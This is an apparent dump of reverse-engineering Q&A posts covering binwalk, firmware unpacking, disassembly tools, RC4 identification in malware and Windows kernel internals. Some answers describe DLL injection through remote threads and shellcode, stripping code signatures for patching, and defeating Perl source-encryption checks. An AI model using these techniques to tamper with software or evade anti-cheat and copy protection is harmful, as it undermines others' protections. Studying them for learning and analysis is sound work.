    f(00 12 03 00 51 03 00) = 69 \nf(00 12 03 00 51 09 00) = 6F\n\n9-3 = 6 = 6F-69\n
    \n\n

    Only this time with a different byte and a bigger increment.

    \n\n

    We might be willing to assume this relationship is preserved for all bytes and all increments, and we'll be correct.

    \n\n

    If it wasn't clear until now, the answer is quite in front of us: The last byte is the sum of all message bytes, modulo 257.

    \n\n

    In python, given m = ['00', '12', '03', '00', '51', '09', '00'], the following code will provide the correct value of 0x6F:

    \n\n
    hex(sum(map(lambda x: int(x, 16), m))%257)\n
    \n\n

    This behaves properly for all provided inputs.

    \n" }, { "Id": "13616", "CreationDate": "2016-09-29T07:07:15.437", "Body": "

    I have been trying to use binwalk on a very large dump file without much success so far. Everytime I tried to use it, it produces very large zip file that fill the disk until I reach a disk full error (using Linux).

    \n\n

    I am trying to understand what I did wrong, so here is a simple scenario hopefully to understand what I am doing wrong.

    \n\n

    Steps:

    \n\n
    $ dd if=/dev/zero of=head bs=1 count=512\n$ dd if=/dev/zero of=tail bs=1 count=512\n$ wget https://github.com/devttys0/binwalk/archive/master.zip\n$ cat head binwalk-master.zip tail > full\n$ binwalk -z -C demo -D 'zip archive:zip:unzip %e' full\n
    \n\n

    Could someone please let me know why I am seeing the following:

    \n\n
    $ find demo\ndemo\ndemo/_full.extracted\ndemo/_full.extracted/483BD.zip\ndemo/_full.extracted/200.zip\n
    \n\n

    Where is this file coming from ? Is there any reason to keep it around ?

    \n\n
    $ unzip -l demo/_full.extracted/483BD.zip \nArchive:  demo/_full.extracted/483BD.zip\n5be61ad220a42e7b2c7e912024fda5edd84b4843\nerror [demo/_full.extracted/483BD.zip]:  missing 295357 bytes in zipfile\n  (attempting to process anyway)\nerror [demo/_full.extracted/483BD.zip]:  attempt to seek before beginning of zipfile\n  (please check that you have transferred or created the zipfile in the\n  appropriate BINARY mode and that you have compiled UnZip properly)\n
    \n\n

    Bonus question: is there a way to really extract only the zip file (removing the tail stuff):

    \n\n
    $ crc32 binwalk-master.zip demo/_full.extracted/200.zip \n8ce4d36c    binwalk-master.zip\n81923fef    demo/_full.extracted/200.zip\n$ ls -al binwalk-master.zip demo/_full.extracted/200.zip \n-rw-r--r-- 1 user user 295419 Sep 29 08:54 binwalk-master.zip\n-rw-r--r-- 1 user user 295931 Sep 29 09:02 demo/_full.extracted/200.zip\n
    \n", "Title": "Simple carving of zip file using binwalk", "Tags": "|binary-analysis|file-format|", "Answer": "

    Binwalk produces multiple large files, because the zlib header does not contain any information about the size of the compressed data.

    \n\n

    The following steps should be performed to extract the zip files:

    \n\n\n\n

    Because the header identification cannot be perfect and false positives are possible, you cannot assume that the second header means the end of the first zip.

    \n\n

    If you want to extract the zip files without tail, you can do the followings:

    \n\n\n" }, { "Id": "13622", "CreationDate": "2016-09-30T09:14:25.837", "Body": "

    How can I remove the code signature from a binary so that I can patch it without the binary refusing to run afterwards?

    \n\n

    Needless to say, I'm not the original creator of the binary, nor I have the certs that were used to sign the binary.

    \n", "Title": "Remove code signature from a Mac binary", "Tags": "|binary-analysis|binary|osx|patching|mach-o|", "Answer": "

    Another blunt way that seemed to work for me on Catalina (note that this strips all attributes):

    \n\n

    xattr -cr /path/to/your/program.app

    \n" }, { "Id": "13639", "CreationDate": "2016-10-03T17:08:25.227", "Body": "

    I'm trying to generate a log of all identified symbols in a binary file. The application i'm trying to inspect is busybox. I've created a Pin Tool that successfully captures symbols (no demangling) and place them underneath the module they belong to, and worked just fine for many binaries except busybox. For example this command:

    \n\n
    pin -t <pin-tool-shared-object> busybox -ls\n
    \n\n

    Was able to generate only the following output:

    \n\n
    MODULE busybox:\n.init\n.plt\n.text\n\n# eof\n
    \n\n

    Not finding any of the desired symbols. Unsure of where the problem was, I tried many variations of the nm command. The output was always the same:

    \n\n
    $ nm -an /bin/busybox | c++filt\nnm: /bin/busybox: no symbol\n$ nm -an -D /bin/busybox | c++filt\nnm: /bin/busybox: no symbol\n$ nm -D /bin/busybox | c++filt\nnm: /bin/busybox: no symbol\n
    \n\n

    What is happening here and how can I get a trace of the called symbols in this case (or at least a static nm-like output of these symbols).

    \n\n

    The full Pin tool code is found here, as it might be the problem too.

    \n\n

    EDIT

    \n\n

    Running the tool in verbose mode -v, that generates the sequential call graph, gives me traces like these when in busybox basic blocks:

    \n\n
    0x404970 | CALL .plt\n0x42d41f | RET\n0x404970 | CALL .plt\n0x42d41f | RET\n0x43bcd1 | CALL .text\n0x4053fb | CALL .text\n0x4040d0 | CALL .plt\n0x405416 | RET\n0x43bcf6 | RET\n0x404740 | CALL .plt\n
    \n\n

    Which is nowhere near helpful. Apparently there are no exported symbols in this module.

    \n", "Title": "Intel PIN and nm unable to capture binary symbols", "Tags": "|linux|symbols|intel|", "Answer": "

    Sounds like the binary has ben stripped (had its symbol table removed). Since busybox is usually compiled statically to not have any external dependencies and be entirely self-contained, it does not need even dynamic symbols to function. You'll just have to figure out how to achieve your goal without symbols.

    \n" }, { "Id": "13651", "CreationDate": "2016-10-06T09:31:53.693", "Body": "

    I am trying to understand an algorithm from a malware I found. This algorithm encodes http request to C&C. The decompiled version is taken from IDA. There are some comments I wrote.

    \n\n

    The problem is: I dont see the malware sends result from QueryPerformanceCounter() to its C&C. So without this value how C&C decodes this request?

    \n\n
    int __cdecl sub_A2AA0(int a1, unsigned int a2, int a3, _BYTE *a4, int a5)\n{\n// a5: length of buffer\n// a4: buffer to encode\n// a3: always 0\n// a2: always 4\n// a1: addr contains result from QueryPerformanceCounter()\n\n  signed int v5; // eax@1\n  char v6; // si@3\n  unsigned int v7; // eax@3\n  signed int v8; // edi@3\n  char v9; // cl@4\n  int v10; // edx@4\n  int v11; // edi@7\n  int v12; // esi@7\n  int result; // eax@7\n  char v14; // cl@8\n  int v15; // ebp@9\n  _BYTE *i; // edi@9\n  char v17; // cl@10\n  char v18[256]; // [sp+0h] [bp-100h]@2\n\n // buffer with 0 to 255\n  v5 = 0;\n  do\n  {\n    v18[v5] = v5;\n    ++v5;\n  }\n  while ( v5 < 256 );\n\n\n  // exchange content of a random index starting with index 0\n  v6 = 0;\n  v7 = 0;\n  v8 = 0;\n  do\n  {\n    v9 = v18[v8];\n    v10 = (unsigned __int8)(v6 + v18[v8] + *(_BYTE *)(v7++ + a1)); // generate index\n    v6 = v10;\n    if ( v7 >= a2 )\n      v7 = 0;\n    v18[v8++] = v18[v10];\n    v18[v10] = v9;\n  }\n  while ( v8 < 256 );\n\n// iterate local buffer again, exchange content of cells, starting with index 0\n  v11 = a3; // init with 0\n  LOBYTE(v12) = 0;\n  for ( result = 0; v11; v18[v12] = v14 )\n  {\n    result = (unsigned __int8)(result + 1);\n    v14 = v18[result];\n    --v11;\n    v12 = (unsigned __int8)(v12 + v18[result]);\n    v18[result] = v18[v12];\n  }\n\n// mask the request\n  v15 = a5;\n  for ( i = a4; v15; --v15 )\n  {\n    result = (unsigned __int8)(result + 1);\n    v17 = v18[result];\n    v12 = (unsigned __int8)(v12 + v18[result]);\n    v18[result] = v18[v12];\n    v18[v12] = v17;\n    *i++ ^= v18[(unsigned __int8)(v17 + v18[result])]; // simple xor\n  }\n  return result;\n\n\n}\n
    \n", "Title": "Is this request mask algorithm reversible?", "Tags": "|malware|", "Answer": "

    This seems to me like RC4, a stream cipher (here is a somewhat similar implementation, and here's another). It does not encode data, it encrypts it (with a key). Being a stream cipher, it generates a sequence of bytes derived from the key, and then XORs the data with those. These two steps are usually separated in two functions, which is why you don't see any reference to the key in your function: because it is the part which XORs with an already generated stream somewhere before that function gets called.

    \n\n

    a1 seems to be a pointer to the state structure, so it is not a pointer to a 4 byte sequence, but rather, a structure which holds the current state. From what I have seen, most binaries do something like this:

    \n\n
    RC4_Init(state, key, ...)\nRC4_Process(...) // this is the function you're looking at now\n
    \n\n

    Find where the function is called, look a bit above (try cross-referencing a1), and you should find the initialization function, which has the key.

    \n\n
    \n\n

    To further expand on why I think this is RC4

    \n\n

    Your code:

    \n\n
     // buffer with 0 to 255\n  v5 = 0;\n  do\n  {\n    v18[v5] = v5;\n    ++v5;\n  }\n  while ( v5 < 256 );\n
    \n\n

    rc4_init:

    \n\n
    void rc4_init(unsigned char *key, unsigned int key_length) {\n    for (i = 0; i < 256; i++)\n        S[i] = i;\n\n    /* ... more code ... */\n}\n
    \n\n
    \n\n

    Your code:

    \n\n
    // exchange content of a random index starting with index 0\n  v6 = 0;\n  v7 = 0;\n  v8 = 0;\n  do\n  {\n    v9 = v18[v8];\n    v10 = (unsigned __int8)(v6 + v18[v8] + *(_BYTE *)(v7++ + a1)); // generate index\n    v6 = v10;\n    if ( v7 >= a2 )\n      v7 = 0;\n    v18[v8++] = v18[v10];\n    v18[v10] = v9;\n  }\n  while ( v8 < 256 );\n
    \n\n

    Chunk of rc4_init:

    \n\n
    for (i = j = 0; i < 256; i++) {\n        j = (j + key[i % key_length] + S[i]) & 255;\n        swap(S, i, j);\n    }\n\n    i = j = 0;\n
    \n\n
    \n\n

    Inlined swap in your code:

    \n\n
        v9 = v18[v8];\n    v18[v8++] = v18[v10];\n    v18[v10] = v9;\n
    \n\n

    RC4 swap:

    \n\n
    void swap(unsigned char *s, unsigned int i, unsigned int j) {\n    unsigned char temp = s[i];\n    s[i] = s[j];\n    s[j] = temp;\n}\n
    \n\n
    \n\n

    Do you see the similarities? I definitely think this is RC4, so your best bet is to hope that the malware uses a static/predictable/weak key, so you can decrypt the communication (if sniffing from outside).

    \n\n
    \n\n

    TL;DR You can't decrypt this without the proper key, which may or may not be predictable. Look at how it is generated to find out if it is.

    \n" }, { "Id": "13660", "CreationDate": "2016-10-07T08:45:01.433", "Body": "

    \"Screenshot\"

    \n\n

    IDA failed to construct function correctly. After extending function end and correcting stack I've found that IDA doesnt refresh graph. The green nodes should be one continuous node. Is there any way to fix it?

    \n", "Title": "IDA failed to construct correct graph", "Tags": "|ida|call-graph|", "Answer": "

    IDA sometimes flag functions with \"noreturn\". In my situation it was due to exceptions in sub_1B64A30. If function is flagged as \"noreturn\", IDA's analysis stops after calling it.

    \n\n

    So, in order to repair graph one should unflag \"noreturn\" (I once had a case, where I couldn't do it tho), undefine calling function, define it back.

    \n" }, { "Id": "13664", "CreationDate": "2016-10-07T21:00:16.183", "Body": "

    After following the tutorial here, I decided I would try and reverse engineer my router's firmware. My router is the TP-Link TD-W8961N and the firmware version is V2.

    \n\n

    I have been trying to figure this out for a while now, but have had no luck. The firmware does not contain any obvious filesystem, bootloader or kernel that can be extracted.

    \n\n

    From the binwalk analysis, it seems that the router is running ThreadX on MIPS architecture.

    \n\n

    Executing binwalk -eM TDW8961N, I get

    \n\n
    DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n63643         0xF89B          ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n63892         0xF994          ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n85043         0x14C33         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 66696 bytes\n118036        0x1CD14         Unix path: /usr/share/tabset/vt100:\\\n118804        0x1D014         ZyXEL rom-0 configuration block, name: \"spt.dat\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n118824        0x1D028         ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 16\n128002        0x1F402         GIF image data, version \"89a\", 200 x 50\n136194        0x21402         GIF image data, version \"89a\", 560 x 50\n253333        0x3DD95         Neighborly text, \"neighbor of your ADSL Router that will forward the packet to the destination. On the LAN, the gateway </font>e destination. On the LAN, the gateway </font>\"\n349586        0x55592         Copyright string: \"Copyright (c) 2001 - 2015 TP-LINK TECHNOLOGIES CO., LTD.\"\n386471        0x5E5A7         Copyright string: \"Copyright &copy; 2015 TP-LINK Technologies Co., Ltd. All rights reserved.\"\n386489        0x5E5B9         TP-Link firmware header, firmware version: 17256.26992.22113, image version: \" Co., Ltd. All rights reserved.\", product ID: 0x6E42746E, product version: 1131375727, kernel load address: 0x72002223, kernel entry point: 0x46463939, kernel offset: 4475203, kernel length: 1347765096, rootfs offset: 1768969317, rootfs length: 2020868163, bootloader offset: 1347747908, bootloader length: 1229148245\n806847        0xC4FBF         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2853276 bytes\n\n\nScan Time:     2016-10-07 22:29:27\nTarget File:   /home/aaron/Desktop/tools/firmware/TD-W8961N/_TD-W8961N-0.extracted/14C33\nMD5 Checksum:  feac8e40efcca119826f811501b36502\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n\n\nScan Time:     2016-10-07 22:29:27\nTarget File:   /home/aaron/Desktop/tools/firmware/TD-W8961N/_TD-W8961N-0.extracted/C4FBF\nMD5 Checksum:  78c0c10cba8fba3ce1c194461ac40fa4\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n2141288       0x20AC68        Neighborly text, \"neighbor loss) fail\"\n2144380       0x20B87C        ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 8313\n2157896       0x20ED48        Neighborly text, \"neighbordown: can't shutdown OSPF task completely\"\n2168474       0x21169A        ZyXEL rom-0 configuration block, name: \"spt.dat\", compressed size: 769, uncompressed size: 259, data offset from start of block: 28805\n2249704       0x2253E8        HTML document footer\n2250021       0x225525        HTML document header\n2253724       0x22639C        XML document, version: \"1.0\"\n2320029       0x23669D        Base64 standard index table\n2332534       0x239776        ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 131\n2332646       0x2397E6        Copyright string: \"Copyright (c) 1994 - 2004 ZyXEL Communications Corp.\"\n2332699       0x23981B        Copyright string: \"Copyright (c) 2001 - 2006 TrendChip Technologies Corp.\"\n2332754       0x239852        Copyright string: \"Copyright (c) 2001 - 2006 \"\n2333095       0x2399A7        ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n2344978       0x23C812        eCos RTOS string reference: \"ecost\"\n2393676       0x24864C        SHA256 hash constants, big endian\n2395752       0x248E68        Base64 standard index table\n2436753       0x252E91        ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 135\n2454640       0x257470        ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 131\n2495500       0x26140C        Base64 standard index table\n2537620       0x26B894        XML document, version: \"1.0\"\n2544124       0x26D1FC        XML document, version: \"1.0\"\n2545312       0x26D6A0        XML document, version: \"1.0\"\n2546280       0x26DA68        XML document, version: \"1.0\"\n2551100       0x26ED3C        XML document, version: \"1.0\"\n2555276       0x26FD8C        XML document, version: \"1.0\"\n2558548       0x270A54        XML document, version: \"1.0\"\n2563936       0x271F60        XML document, version: \"1.0\"\n2569916       0x2736BC        XML document, version: \"1.0\"\n2572052       0x273F14        XML document, version: \"1.0\"\n2579160       0x275AD8        XML document, version: \"1.0\"\n2595692       0x279B6C        XML document, version: \"1.0\"\n2605172       0x27C074        XML document, version: \"1.0\"\n2613932       0x27E2AC        XML document, version: \"1.0\"\n2615368       0x27E848        XML document, version: \"1.0\"\n2627752       0x2818A8        XML document, version: \"1.0\"\n2648491       0x2869AB        Copyright string: \"copyright\"\n2658067       0x288F13        Copyright string: \"copyright\" >\"\n2759380       0x2A1AD4        CRC32 polynomial table, big endian\n2827145       0x2B2389        Unix path: /wifi_uni_mac/ROM/nic/hal/MT7603/hal_rom.c\n2827593       0x2B2549        Unix path: /wifi_uni_mac/ROM/nic/hal/MT7603/hal_pwr_mgt_rom.c\n2828329       0x2B2829        Unix path: /wifi_uni_mac/mgmt/mt7603/rlm_phy.c\n2828385       0x2B2861        Unix path: /wifi_uni_mac/mgmt/mt7603/rlm_sensor.c\n2852324       0x2B85E4        Copyright string: \"Copyright (c) 1996-2010 Express Logic Inc. * ThreadX MIPS32_34Kx/Green Hills Version G5.4.5.0 SN: 3182-197-0401 *\"\n
    \n\n

    This creates two files 14C33 which, when running binwalk, gives no results and C4FBF which gives a similar output as binwalk TDW8961N. It also creates lots of xml files which are similar.

    \n\n

    I opened the files 14C33 and C4FBF in a hex editor and noticed that the first two bytes were 3C 08. Running file on these two files returns

    \n14C33: data
    \nC4FBF: data

    \n\n

    I Googled these two bytes and came to this page where I found that a zlib stream can start with 08 3C, although not common. After reading this, I changed the first two bytes so that they read 08 3C and file 14C33 returned

    \n14C33: zlib compressed data

    \n\n

    I did the same thing with the file C4FBF and when I try to decompress it, it fails. Using gzip, I get unknown suffix -- ignored. I also tried with uncompress and pigz, but they gave similar errors.

    \n\n

    Is there something wrong with the zlib compressed data, is file giving a false positive or is there a custom compression algorithm? Also, I don't understand why there is a reference to both eCos and ThreadX OSes. And for the bootloader and kernel offset, is it the offset when the bootloader and kernel are loaded into memory?

    \n\n

    The firmware can be downloaded at tp-link.com/en/download/TD-W8961N_V2.html#Firmware

    \n", "Title": "Reverse engineering TP-Link TD-W8961N", "Tags": "|firmware|mips|", "Answer": "

    I found the answer.

    \n\n

    The router runs ZynOS and needed to be extracted using router-tools

    \n\n

    Once downloaded, I ran the command

    \n\n

    python zynos.py unpack TDW8961N to unpack the router frimware. All I had to do now was use binwalk -Y file to find out the architecture and then load the files into IDA and disassemble using

    \n\n

    https://wiki.openwrt.org/doku.php?id=oldwiki:openwrtdocs:hardware:zyxel:p_335wt to figure out where to start the ROM.

    \n" }, { "Id": "13665", "CreationDate": "2016-10-07T23:42:56.287", "Body": "

    I am trying to use perl -MO=Deparse to get readable source code from encrypted Perl files.

    \n\n

    The Perl script I'm trying to deparse starts with use Filter::Crypto::Decrypt;.

    \n\n

    The error I'm getting is:

    \n\n
    Can't run with Perl compiler backend at /System/Library/Perl/5.18/XSLoader.pm line 95. \nBEGIN failed--compilation aborted at /Library/Perl/5.18/darwin-thread-multi-2level/Filter/Crypto/Decrypt.pm line 37.\n
    \n\n

    When reading this webpage, it says:

    \n\n
    \n

    Can't run with Perl compiler backend
    \n (F) The encrypted Perl file is being run by a perl with the Perl compiler backend enabled, e.g. perl -MO=Deparse file. This is not allowed since it may assist in retrieving the original unencrypted source code.

    \n
    \n\n

    If I understand this correctly, then this is a security measure to prevent people from doing exactly what I'm trying to do. Correct? Is there any way to override this?

    \n", "Title": "Trouble deparsing Perl encrypted with Filter::Crypto::Encrypt", "Tags": "|decryption|", "Answer": "

    Since this is an intended prevention and there's no technical limitation behind this error message, it should be easy enough to just patch out the explicit check in the perl executable. You could then have your own version of perl that allows the decryption of the perl program and exposes the original source code.

    \n" }, { "Id": "13667", "CreationDate": "2016-10-08T12:32:39.247", "Body": "

    I am messing around with dll injections. I am able to inject a dll with an exported function into some process, but I have a question now:

    \n\n

    Is there a standard way to call the exported function of my injected dll?

    \n\n

    I can provide code if necessary.

    \n", "Title": "Call function of injected dll", "Tags": "|dll|dll-injection|", "Answer": "

    I am not sure if I understood correctly, but if you mean calling the exported function from the binary which just got injected the DLL, then do this:

    \n\n
    auto hLib = GetModuleHandleA(\"your_library.dll\");\nauto fn = GetProcAddress(hLib, \"exported_function_name\");\n\n// supposing your function is declared as:\n// extern \"C\" __declspec(dllexport) int __cdecl fn() { ... }\n((int(__cdecl*)(void)) fn)();\n
    \n\n

    You might have to check which calling convention your compiler used for the function, though (if you didn't specify any).

    \n\n
    \n\n

    Edit: since you want to call the function from the injector rather than the injected binary, you should do something like this:

    \n\n
      \n
    1. Use VirtualAllocEx to alloc some bytes in the target process
      2. \n

    2. Use WriteProcessMemory to write shellcode on the target process

      \n\n
        \n

      • You will need to write something like this:

        \n\n
        mov eax, 0x0BADC0DE ; the offset of your function\ncall eax\n
        • \n

      • You can use this online service to generate the shellcode.

        • \n
      3. \n

    3. Use CreateRemoteThread to run a thread on the shellcode

      4. \n
    \n\n

    Also, be aware that games usually have anti-cheat systems, and they detect this kind of behaviour (it's quite common).

    \n\n
    \n\n

    But apart from all of this: you could inject your DLL with VirtualAllocEx -> WriteProcessMemory -> LoadLibrary | CreateRemoteThread, and have Windows call your DLL's DllMain instead of you doing it yourself.

    \n" }, { "Id": "13671", "CreationDate": "2016-10-08T18:44:36.890", "Body": "

    I have an (ARM) object file that I want to inspect. There are some instructions that load addresses pointing to another area in the object file. I would like to see the contents of the area, but objdump -Ds shows ... and skips the whole section. For example:

    \n\n
    000230cc <heap_size_129>:\n   230cc:       00000000        andeq   r0, r0, r0\n\n000230d0 <small_integers>:\n        ...\n\n000231d8 <heap_size_33>:\n   231d8:       00000000        andeq   r0, r0, r0\n
    \n\n

    Here, I need the contents of small_integers. Does ... mean it is full of andeq r0,r0,r0 (i.e., null)?

    \n\n

    I cannot find other flags beside -Ds in the objdump manpage that may help here.

    \n", "Title": "Why does objdump show dot dot dot?", "Tags": "|arm|objdump|", "Answer": "

    ... are printed for repeated zero bytes, since that is usually filler data and not interesting. You can use -z, --disassemble-zeroes switch to force their disassembly anyway.

    \n" }, { "Id": "13672", "CreationDate": "2016-10-08T22:24:43.673", "Body": "

    I want to search for sequence of bytes in OllyDbg. Is it possible? How can I do this?

    \n", "Title": "Search for sequence of bytes with OllyDbg", "Tags": "|ollydbg|", "Answer": "

    Yes, it is.

    \n\n
      \n
    1. Right-click on the disassembly view (hex dump works too)
      2. \n
    2. Go to Search for -> Binary string, or press Ctrl + B
      3. \n
    \n\n

    \"enter

    \n" }, { "Id": "13683", "CreationDate": "2016-10-09T21:38:47.623", "Body": "

    I've been working for my final project which is a disassembler for AMD64 instruction set, and i was trying to disassemble machine code by hand to understand it correctly. But i got stuck at a x87 instruction.

    \n\n

    Machine code of instruction is: dd 04 c5 60 40 08 08...

    \n\n

    I've checked AMD64 manual vol3, and it says DD is an x87 instruction and with the help of ModRM byte ,which is 0b00000100, my ModRM.reg field is 000 and with this information manual says this instructions meaning is \"FLD mem64real\". But since I've compiled this code for i386 target architecture i think that i shouldn't have 64 bit memory adress.

    \n\n

    But the most interesting part is when i checked the binary with objdump, it says that this bytes are corresponds to fldl 0x8084060(,%eax,8) but i can't find any information about FLDL instruction nor how does objdump find this.

    \n\n

    So my question is am i doing something wrong ?

    \n\n

    How objdump think that instruction is FLDL but manual says its FLD ?

    \n\n

    Target machine of binary is i386.

    \n\n

    I use AMD64 manual volume 3 to check instructions

    \n\n

    Version of objdump is GNU objdump (GNU Binutils for Debian) 2.26.1

    \n\n

    Here is readelf output of binary

    \n\n
    ELF Header\nMagic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \nClass:                             ELF32\nData:                              2's complement, little endian\nVersion:                           1 (current)\nOS/ABI:                            UNIX - System V\nABI Version:                       0\nType:                              EXEC (Executable file)\nMachine:                           Intel 80386\nVersion:                           0x1\nEntry point address:               0x80482c0\nStart of program headers:          52 (bytes into file)\nStart of section headers:          3744 (bytes into file)\nFlags:                             0x0\nSize of this header:               52 (bytes)\nSize of program headers:           32 (bytes)\nNumber of program headers:         8\nSize of section headers:           40 (bytes)\nNumber of section headers:         31\nSection header string table index: 28\n
    \n", "Title": "Stuck in x87 FLD instruction", "Tags": "|disassembly|objdump|amd64|", "Answer": "

    So this answer only focuses on the second question of @Efe:\nHow is +eax*8 constructed.

    \n\n

    You can determine the SIB-offsets with the following steps. We analyze the first two bytes 04 c5 of the whole instruction:

    \n\n
    dd 04 c5 60 40 08 08\n
    \n\n

    First, we only focus on the MOD-REG-R/M Byte (look here for details)

    \n\n
    MOD-REG-R/M Byte = 04\n--------------------------------------------------\n04   0000 0100\nMOD  00          Meaning: SIB with no displacement\nREG  000         Meaning: eax (32-Bit)\nR/M  100         Meaning: SIB with no displacement\n
    \n\n

    Second, we analyze the SIB Byte of the instruction (look here for details). Scaled indexed addressing mode uses the second byte (namely, SIB byte) that follows the MOD-REG-R/M.

    \n\n
    SIB Byte = C5\n--------------------------------------------------\nc5    1100 0101\nScale 11    Meaning: Index*8\nIndex 000   Meaning: eax register\nBase  101   Meaning: Displacement only\n
    \n\n

    The combination of MOD and Base lead to (look here for details)

    \n\n
    MOD = 00 and BASE field = 101:\n--------------------------------------------------\ndisp + eax*n\n
    \n" }, { "Id": "13696", "CreationDate": "2016-10-11T10:57:45.383", "Body": "

    this is Easy_ELF from Reversing.Kr

    \n\n

    Right now R2 displays absolute address for a character inside of a string:

    \n\n
      [0x08048454]> pdf\n  ...\n  0x08048454      0fb60521a004.  movzx eax, byte [0x804a021] \n
    \n\n

    I already made a flag for global buffer

    \n\n
     f glob.passwordBuf 16 @ 0x0804a020 \n
    \n\n

    how to apply offset from it to make R2 to display something like

    \n\n
     0x08048454      0fb60521a004.  movzx eax, byte [glob.passwordBuf + 1] \n
    \n\n

    ? I.e. I want disassembler to use what fd 0x804a021 returns (which is glob.passwordBuf + 1)

    \n\n

    I tried to reanalyze the function, but it didn't help.

    \n", "Title": "Radare2: how to change operand from integer value to (flag + offset) in disassembly output?", "Tags": "|radare2|", "Answer": "

    This is an enhancement to be done on asm.relsub see https://github.com/radare/radare2/issues/5956

    \n\n

    I have created an issue on the radare2 repository, feel free to do similar next time or to come by the IRC or the Telegram channel.

    \n" }, { "Id": "13709", "CreationDate": "2016-10-13T06:03:04.517", "Body": "

    https://libreboot.org/faq/#intelme

    \n\n
    \n

    Introduced in June 2006 in Intel's 965 Express Chipset Family of (Graphics and) Memory Controller Hubs, or (G)MCHs, and the ICH8 I/O Controller Family, the Intel Management Engine (ME) is a separate computing environment physically located in the (G)MCH chip.

    \n
    \n\n

    The Intel Management Engine has access to the CPU's RAM. However, the CPU does not have access to the RAM reserved by the Intel Management Engine.

    \n\n

    The idea is simple: the software developer distributes the software encrypted. When the user launches an application, the IME takes over. It loads the encrypted program into the IME's RAM (the CPU does not have access to this). Then, it fetches a public key from a server and decrypts the program in memory. The IME then executes the application.

    \n\n

    Alternatively, the public key could be hard-coded in the IME.

    \n\n

    I'm just wondering if this method is theoretically uncrackable.

    \n", "Title": "Is this anti-tamper solution fool-proof?", "Tags": "|memory|encryption|anti-debugging|", "Answer": "

    This method (if I understand correctly how exactly IME works) is not theoretically uncrackable, it is practically impossible.

    \n\n

    The devil, as usual, is in details - this method relies on 2 capabilities that AFAIK IME simply doesn't have - ability to run the application on the main CPU from IME (it requires interaction with the OS, and according to the method definition the decrypted program remains in the memory which is not accessible for main CPU) and ability to secretly and reliably distribute the code that should run on it (to distribute the public key with the code that should run on IME).

    \n\n

    In addition the IME runs on very weak processor (especially in comparison with man CPU itself).

    \n\n

    As far as I know IME code is distributed as so-called \"DAL applets\". This is actually something like JAVA ME code, packed in JEFF/DALP format - and @Igor Skochinsky wrote a set of utilities to unpack it - which means that the public key can be easily found.

    \n\n

    Generally speaking, the main discrepancy here is as follows:

    \n\n\n" }, { "Id": "13712", "CreationDate": "2016-10-13T15:52:41.653", "Body": "

    Problem

    \n\n

    I'm trying to reverse engineer some Windows kernel routines on a Windows 7 x86 (Home Basic) VM with kd. I have already reversed KeInitializeDpc by disassambling it. The problem with KeReadyThread is that I can't tell where the third and the fourth mov are pointing to,as the function doesn't seem to have any argument or anything that can help me.

    \n\n

    This is the code

    \n\n
    lkd> uf KeReadyThread  \nnt!KeReadyThread:\n829080f6 8bff            mov     edi,edi  \n829080f8 56              push    esi  \n829080f9 8bf0            mov     esi,eax  \n829080fb 8b4650          mov     eax,dword ptr [esi+50h]  \n829080fe 8b4874          mov     ecx,dword ptr [eax+74h]  \n82908101 f6c107          test    cl,7  \n82908104 7409            je      nt!KeReadyThread+0x19 (8290810f)  \n\nnt!KeReadyThread+0x10:  \n82908106 e8e7cef6ff      call    nt!KiInSwapSingleProcess (82874ff2)  \n8290810b 84c0            test    al,al  \n8290810d 7505            jne     nt!KeReadyThread+0x1e (82908114)  \n\nnt!KeReadyThread+0x19:  \n8290810f e87c70feff      call    nt!KiFastReadyThread (828ef190)  \n\nnt!KeReadyThread+0x1e:  \n82908114 5e              pop     esi  \n82908115 c3              ret\n
    \n\n

    _KTHREAD structure

    \n\n
    lkd> dt _KTHREAD\nnt!_KTHREAD\n   +0x000 Header           : _DISPATCHER_HEADER\n   +0x010 CycleTime        : Uint8B\n   +0x018 HighCycleTime    : Uint4B\n   +0x020 QuantumTarget    : Uint8B\n   +0x028 InitialStack     : Ptr32 Void\n   +0x02c StackLimit       : Ptr32 Void\n   +0x030 KernelStack      : Ptr32 Void\n   +0x034 ThreadLock       : Uint4B\n   +0x038 WaitRegister     : _KWAIT_STATUS_REGISTER\n   +0x039 Running          : UChar\n   +0x03a Alerted          : [2] UChar\n   +0x03c KernelStackResident : Pos 0, 1 Bit\n   +0x03c ReadyTransition  : Pos 1, 1 Bit\n   +0x03c ProcessReadyQueue : Pos 2, 1 Bit\n   +0x03c WaitNext         : Pos 3, 1 Bit\n   +0x03c SystemAffinityActive : Pos 4, 1 Bit\n   +0x03c Alertable        : Pos 5, 1 Bit\n   +0x03c GdiFlushActive   : Pos 6, 1 Bit\n   +0x03c UserStackWalkActive : Pos 7, 1 Bit\n   +0x03c ApcInterruptRequest : Pos 8, 1 Bit\n   +0x03c ForceDeferSchedule : Pos 9, 1 Bit\n   +0x03c QuantumEndMigrate : Pos 10, 1 Bit\n   +0x03c UmsDirectedSwitchEnable : Pos 11, 1 Bit\n   +0x03c TimerActive      : Pos 12, 1 Bit\n   +0x03c Reserved         : Pos 13, 19 Bits\n   +0x03c MiscFlags        : Int4B\n   +0x040 ApcState         : _KAPC_STATE\n   +0x040 ApcStateFill     : [23] UChar\n   +0x057 Priority         : Char\n   +0x058 NextProcessor    : Uint4B\n   